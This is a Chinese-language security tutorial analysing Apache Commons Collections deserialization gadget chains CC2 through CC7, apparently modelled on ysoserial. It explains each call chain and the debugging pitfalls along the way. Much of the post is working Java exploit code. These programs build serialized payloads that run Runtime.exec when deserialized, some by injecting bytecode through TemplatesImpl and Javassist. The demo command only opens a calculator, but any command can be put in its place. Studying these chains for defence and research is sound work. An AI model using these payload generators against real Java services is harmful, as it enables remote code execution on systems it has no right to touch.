Java安全漫谈(3)——CommonsCollections利用链补全

0x1 前言

这部分内容比较枯燥,将逐个对CommonsCollections相关的利用链进行分析并对比他们的异同,像我这样挨个啃并非最佳的学习路线,以后可能会更新更适合新手的学习顺序。

0x2 CommonsCollections2

CommonsCollections2这条链依赖于commons-collections4 4.0,没有JDK版本限制。

调用链:

PriorityQueue.readObject()
    TransformingComparator.compare()
            InvokerTransformer.transform()
                TemplatesImpl.newTransformer()
                    Runtime.exec()						

旧瓶新酒

先看看PriorityQueue.readObject()

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
	s.defaultReadObject();
	s.readint();
	queue = new Object[size];
	for (int i = 0; i < size; i++)
	    queue[i] = s.readObject();
	heapify();
}

将序列化后的数据填充进queue,然后调用了heapify(),一路跟入,可以发现这样的路径:

heapify() -> siftDown() -> siftDownUsingComparator() -> comparator.compare()

comparator从构造方法中传入,类型Comparator是一个接口,其中一个实现就是TransformingComparator,其compare()如下:

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

熟悉的味道,又是transform(),那么我们可以构造PoC了:

ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
);
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue<String> queue = new PriorityQueue<>();
queue.add("1");
queue.add("2");

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);

这里没有在新建实例时填入comparator,而是利用反射来修改,这样就避免了在序列化时触发恶意payload。

TemplatesImpl

ysoserial的payload要更复杂一点,它使用了TemplatesImpl来加载恶意的字节码,这一点要重点介绍,因为有许多漏洞以及利用链都与它有关。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中的内部类TransletClassLoader继承了ClassLoader,可以看到,其defineClass()并未显式声明作用域:

所以该方法作用域为default,即可以被同一个package的其他类调用。

TransletClassLoader是内部类,只能被TemplatesImpl类的方法调用,回溯其调用链:

TemplatesImpl.getOutputProperties()
    TemplatesImpl.newTransformer()
        TemplatesImpl.getTransletInstance()
            TemplatesImpl.defineTransletClasses()
                TransletClassLoader.defineClass()

getOutputProperties()newTransformer()作用域都是public,都可以在类外部调用。

尝试利用它来加载字节码,先写一个测试类,编译成.class文件:

public class evilByteCode extends AbstractTranslet {

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public evilByteCode(){
        super();
        System.out.println("This is Test");
    }
}

加载:

public class TemplatesImplTest {
    public static void setFieldValue(TemplatesImpl templates, String field, Object obj) throws Exception {
        Field f = templates.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(templates, obj);
    }
    public static void main(String[] args) throws Exception{
        byte[] byteCodes = Base64.getDecoder().decode("yv66vgAAADQAIQoA......"); // base64 from evilByteCode.class
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes",  new byte[][] {byteCodes});
        setFieldValue(templates, "_name", "TestTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        templates.newTransformer();
    }
}

这里要注意:

  1. 引入的TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,而不是org.apache.xalan.xsltc.trax.TemplatesImpl;同样,恶意字节码类继承的是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,而不是org.apache.xalan.xsltc.runtime.AbstractTranslet
  2. 恶意字节码类必须继承AbstractTranslet
  3. 设置的三个属性里,_bytecodes是字节码数组,_name可以为任意不为null的字符串,_tfactory需要是TransformerFactoryImpl对象

这种方法每次都得手动编译再编码,太麻烦,使用javassist类库可以更方便地生成字节码。

Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。

主要用到两个类:ClassPoolCtClassClassPoolCtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,写个例子:

ClassPool pool = ClassPool.getDefault();
CtClass c = pool.makeClass("ClassTest");
String cmd = "System.out.println(\"This is ClassTest\");";
c.makeClassInitializer().insertBefore(cmd);
c.writeFile();

Class clazz = c.toClass();
clazz.newInstance();

生成的class文件如下:

public class ClassTest {
    static {
        System.out.println("This is ClassTest");
    }

    public ClassTest() {
    }
}

这里涉及到一个小知识,类初始化的时候会调用static {}里面的代码,它比构造方法还要更先执行。

构造PoC

梳理一下PoC的构造流程:

  1. 利用Javassist生成恶意字节码,填入TemplatesImpl对象
  2. 新建PriorityQueue实例,利用反射将TemplatesImpl对象填入属性queue
  3. 新建InvokerTransformer实例,传入TransformingComparator构造参数进行实例化,再利用反射将其填入PriorityQueue.comparator属性

PoC:

public class CommonsCollections2 {
    public static void setFieldValue(TemplatesImpl templates, String field, Object obj) throws Exception {
        Field f = templates.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(templates, obj);
    }
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("evilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\");";
        ct.makeClassInitializer().insertBefore(cmd);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[] classBytes = ct.toBytecode();
        byte[][] evilBytes = new byte[][]{classBytes};
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", evilBytes);
        setFieldValue(templates, "_name", "evil");
        setFieldValue(templates, "_class", null);

        PriorityQueue queue = new PriorityQueue(1);
        Object[] queues = new Object[]{templates, 1};
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        field.setAccessible(true);
        field.set(queue, queues);
        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);

        Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator comparator = new TransformingComparator(transformer);
        Field comparatorField = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, comparator);

        FileOutputStream file = new FileOutputStream("./cc2.bin");
        ObjectOutputStream output = new ObjectOutputStream(file);
        output.writeObject(queue);
    }
}

0x3 CommonsCollections3

CommonsCollections3被ysoserial作者描述为CommonsCollections1的变种,其实也有CommonsCollections2的影子,其依赖和利用版本限制与CommonsCollections1一样。

调用链:

AnnotationInvocationHandler.readObject()
   Map(Proxy).entrySet()
        AnnotationInvocationHandler.invoke()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                            TemplatesImpl.newTransformer()

通过调用链可以看出,CommonsCollections3使用InstantiateTransformer替代InvokerTransformer,还用到了TemplatesImpl.newTransformer()

来看看InstantiateTransformer.transform()的核心代码:

public Object transform(Object input) {
    if (input instanceof Class == false) {
        throw new FunctorException(
            "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                + (input == null ? "null object" : input.getClass().getName()));
    }
    Constructor con = ((Class) input).getConstructor(iParamTypes);
    return con.newInstance(iArgs);
}

该方法需要接受一个Class对象,然后获取其构造方法并调用以创建实例,参数iParamTypesiArgs都从InstantiateTransformer类的构造方法中传入。

这条链还涉及到一个新的TrAXFilter类,构造方法如下:

public TrAXFilter(Templates templates)  throws TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

传入Templates对象之后,会调用TransformerImpl.newTransformer().

如何将两者结合起来?把目光投向已经了解过的ChainedTransformer,它会将传入的Transformer对象依次调用transform(),并且前一个的输出会成为后一个的输入。

那么这样进行串连:

ChainedTransformer chain = new ChainedTransformer( new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});

让存储恶意字节码的templates传入TrAXFilter类的构造方法,就能触发TransformerImpl.newTransformer()以加载恶意字节码。

其他部分其实都是已经分析过的,直接给出Poc:

public class CommonsCollections3 {
    public static void setFieldValue(TemplatesImpl templates, String field, Object obj) throws Exception {
        Field f = templates.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(templates, obj);
    }
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("evilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\");";
        ct.makeClassInitializer().insertBefore(cmd);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[] classBytes = ct.toBytecode();
        byte[][] evilBytes = new byte[][]{classBytes};
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", evilBytes);
        setFieldValue(templates, "_name", "cc3Test");
        setFieldValue(templates, "_class", null);

        ChainedTransformer chain = new ChainedTransformer( new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        });
        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap);
        FileOutputStream file = new FileOutputStream("./cc3.bin");
        ObjectOutputStream outputStream = new ObjectOutputStream(file);
        outputStream.writeObject(invocationHandler);
    }
}

也可以写一个TransformedMap版本的PoC:

public class CommonsCollections3_2 {
    public static void setFieldValue(TemplatesImpl templates, String field, Object obj) throws Exception {
        Field f = templates.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(templates, obj);
    }
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("evilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\");";
        ct.makeClassInitializer().insertBefore(cmd);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[] classBytes = ct.toBytecode();
        byte[][] evilBytes = new byte[][]{classBytes};
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", evilBytes);
        setFieldValue(templates, "_name", "cc3Test");
        setFieldValue(templates, "_class", null);

        ChainedTransformer chain = new ChainedTransformer( new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        });
        HashMap hashMap = new HashMap();
        hashMap.put("value",1);
        Map map = TransformedMap.decorate(hashMap, null, chain);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
        FileOutputStream fileOutputStream = new FileOutputStream("./cc3_2.bin");
        ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
        outputStream.writeObject(invocationHandler);
    }
}

0x4 CommonsCollections4

也许你对CommonsCollections4抱有期待,希望学到新的利用点和方法,但很遗憾,它仍然是前面利用链的变种。

ysoserial中,CommonsCollections4是将CommonsCollections2的InvokerTransformer换成了InstantiateTransformer,搁这排列组合了属于是。依赖和CommonsCollections2一样,没有JDK版本限制。

所以直接给出PoC:

public class CommonsCollections4 {
    public static void setFieldValue(TemplatesImpl templates, String field, Object obj) throws Exception {
        Field f = templates.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(templates, obj);
    }
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("evilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\");";
        ct.makeClassInitializer().insertBefore(cmd);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[] classBytes = ct.toBytecode();
        byte[][] evilBytes = new byte[][]{classBytes};
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", evilBytes);
        setFieldValue(templates, "_name", "evil");
        setFieldValue(templates, "_class", null);

        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        });
        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        field.setAccessible(true);
        field.set(queue, 2);
        Field comparatorField = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, comparator);

        FileOutputStream file = new FileOutputStream("./cc4.bin");
        ObjectOutputStream output = new ObjectOutputStream(file);
        output.writeObject(queue);
    }
}

0x5 CommonsCollections5

CommonsCollections5虽然也用到了LazyMapChainedTransformer,但它在高版本的JDK下也可用,所以就面临两个新的问题:

  1. 反序列化的入口类
  2. 怎么触发LazyMap.get()

先来看第二个问题,答案在org.apache.commons.collections.keyvalue.TiedMapEntry类中,其getValue()如下:

public Object getValue() {
    return map.get(key);
}

调用此方法的地方也比较多,如equals()hashCode()等,这里使用干扰比较少的toString()

public String toString() {
    return getKey() + "=" + getValue();
}

下面该解决第一个问题了,找到一个在反序列化时能够触发TiedMapEntry.toString()的类,最后的结果是javax.management.BadAttributeValueExpException类,来看看它的readObject()

在反序列化时读取变量val进行判断,当System.getSecurityManager() == null或其为除String之外的基础类型时,才会调用toString()

综合上面的介绍,我们可以写出PoC了,诸如之前的排列组合,这里也可以利用InstantiateTransformerTemplatesImpl之类自由搭配,示例就用最初介绍的这种:

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, "1");

BadAttributeValueExpException bad = new BadAttributeValueExpException("2");
Field field = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
field.setAccessible(true);
field.set(bad, tied);

FileOutputStream file = new FileOutputStream("./cc5.bin");
ObjectOutputStream output = new ObjectOutputStream(file);
output.writeObject(bad);

如果不用反射来设置val的值,会直接触发toString(),要避免这种情况的发生。

0x6 CommonsCollections6

坏消息:CommonsCollections6又是缝合怪
好消息:全给他缝完了

CommonsCollections6综合了URLDNS和CommonsCollections5的相关内容,选择TiedMapEntry类的另一个方法来触发LazyMap.get(),即TiedMapEntry.hashCode()

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
        (value == null ? 0 : value.hashCode()); 
}

能够触发该方法的思路有两种:

  1. 通过HashMap.put(),和URLDNS一样
  2. 通过新的类java.util.HashSet

这里就只介绍HashSet这种思路,来看HashSet.readObject()

这里调用了Map.put(),那么后面的地方也就一样了,PoC:

HashMap hashMap = new HashMap();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformer = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
};
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, "1");
hashMap.put(tied, "2");
HashSet hashSet = new HashSet(hashMap.keySet());

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain, transformer);
lazyMap.clear();

FileOutputStream file = new FileOutputStream("./cc6.bin");
ObjectOutputStream output = new ObjectOutputStream(file);
output.writeObject(hashSet);

最后为何要执行LazyMap.clear()?去掉它然后调试看看:

因为map.containsKey(key)结果为true,所以并没有进入if语句块中,那么也就不能触发transform(),更不会执行命令。

PoC中并没有为lazyMap对象赋值,该值来自于HashMap.put()

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

HashMap.put()中调用了一次HashMap.hash(),其中调用了hashCode()

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里相当于调用TiedMapEntry.hashCode(),也就会调用到LazyMap.get(),这时lazyMap对象中并没有相应的key,那么就会进入if语句块,不仅对其进行了赋值,还调用了transform(),有两个后果:

  1. 赋值之后,在进行真正的payload生成流程时,会因为这时lazyMap对象中有相应的key而无法触发transform()
  2. 如果不使用反射的方式在最后才填入真正的ChainedTransformer对象,那么在生成payload的阶段就会在本地触发命令执行

上面的PoC与ysoserial中相比更简略,因为作者对JDK7和8中部分成员变量名改变的情况做了适配,为不同对象的赋值方式也有变化。

调用链:

HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                LazyMap.get()
                    ChainedTransformer.transform()
                        InvokerTransformer.transform()

0x7 CommonsCollections7

CommonsCollections7的核心仍然是触发LazyMap.get(),用到的是java.util.Hashtable类。

Hashtable.readObject()中,调用了reconstitutionPut()

该方法中调用了hashCode()

所以实际上这条链和CommonsCollections6的区别很小,直接写PoC:

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformer = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
};
Hashtable hashtable = new Hashtable();
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, "1");
hashtable.put(tied, "2");

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain, transformer);
lazyMap.clear();

FileOutputStream file = new FileOutputStream("./cc7.bin");
ObjectOutputStream output = new ObjectOutputStream(file);
output.writeObject(hashtable);

ysoserial中的调用链和上面我们写的有些差异:

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

这种方法用的不是hashCode()而是equals()

跟入可以发现,最终调用的是AbstractMap.equals()

m实际就是传入的LazyMap对象,这里就能触发LazyMap.get()

还有一些细节需要处理,在Hashtable.reconstitutionPut()中,要进入equals(),就得先进入for循环,但如果只调用put()一次,是无法进入循环的:

这时tab为null,不能进入循环。在下面会将值存入tab,所以需要调用两次put().

这样又带来新的问题,循环的初始设置e = tab[index]index的值与hash变量有关,那么就要求两次调用put()得到的hash变量值相等,否则会因为index值不同导致第二次tab[index]取不到值,无法进入循环。

这很简单,两次都传入相同的值就能解决。

但是,问题又来了,在Hashtable.readObject()中,传入两个相同的值会导致elements值为1,reconstitutionPut()只会被调用一次:

最终的解决办法是传入yyzZ,它们的hashCode相等:

现在还有最后一个问题,在AbstractMap.equals()中,有一处判断:

if (m.size() != size())
    return false;

调试发现,第二次进入这里时,m.size()值为2,size()值为1,这里不相等就无法进入之后的逻辑,为什么会多出来一个yy

答案需要通过调试来寻找,将断点下在LazyMap.get()处:

调用栈信息表明,LazyMap.get()是在调用Hashtable.put()时被触发的,此时传入的keyyy,而因为使用反射再最后才填入ChainedTransformer对象,所以这里返回的value值也为yy,所以第二个LazyMap对象中会多出一个前面put进来的值,解决办法就是使用LazyMap.remove()将其移除。

最终的PoC:

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformer = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
};
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, chain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, chain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain, transformer);
lazyMap2.remove("yy");

FileOutputStream file = new FileOutputStream("./cc7_2.bin");
ObjectOutputStream output = new ObjectOutputStream(file);
output.writeObject(hashtable);

0x8 总结

在学习了CommonsCollections1-7所有的调用链之后,可以明显看出,这些利用链都是在寻找不同的方法来触发transform(),并且同一个利用链的构造思路也不是唯一的,我们就讨论了几种和ysoserial中不同的构造思路。

刷完了这些也不要急着开心,因为你很快就会忘掉,所以我们后面还会根据应用不断地回顾这些知识的。

最后给出一个我自己画的CommonsCollections系列利用链泳道图,针对某些利用链有多种思路的情况,我通常选择在上面的文章里着重讲述的那一条:

参考文章: